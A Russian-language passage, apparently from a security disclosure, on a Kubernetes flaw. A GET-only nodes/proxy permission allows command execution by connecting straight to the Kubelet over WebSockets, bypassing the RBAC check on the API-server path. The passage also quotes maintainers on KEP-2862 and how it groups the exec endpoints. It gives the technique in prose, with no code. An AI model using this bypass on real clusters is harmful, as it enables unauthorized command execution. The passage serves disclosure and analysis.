Команда выполнилась успешно. Подключившись напрямую к Kubelet’у через WebSockets, мы обошли авторизацию, которая заблокировала нас через API-сервер. Одна и та же операция нацелена на один и тот же Kubelet-эндпоинт (путь через прокси API-сервера просто проксирует запрос к Kubelet’у), но приводит к разным решениям об авторизации.
Если GET и CREATE оба разрешают выполнение команд, различие между глаголами теряет смысл. Ценность RBAC состоит именно в разграничении операций чтения и записи.
3. KEP-2862 не устраняет уязвимость
«Мы по-прежнему уверены, что KEP-2862 (Fine-Grained Kubelet API Authorization) является правильным архитектурным решением. Вместо изменения грубозернистой авторизации
nodes/proxyнаша цель — сделать её устаревшей для агентов мониторинга… Мы выделили read-only эндпоинты (/configz /healthz /pods) и оставили эндпоинты выполнения кода (/attach /exec /run) как группу, поскольку у нас нет сценария использования, где имело бы смысл иметь доступ только к одному из них.»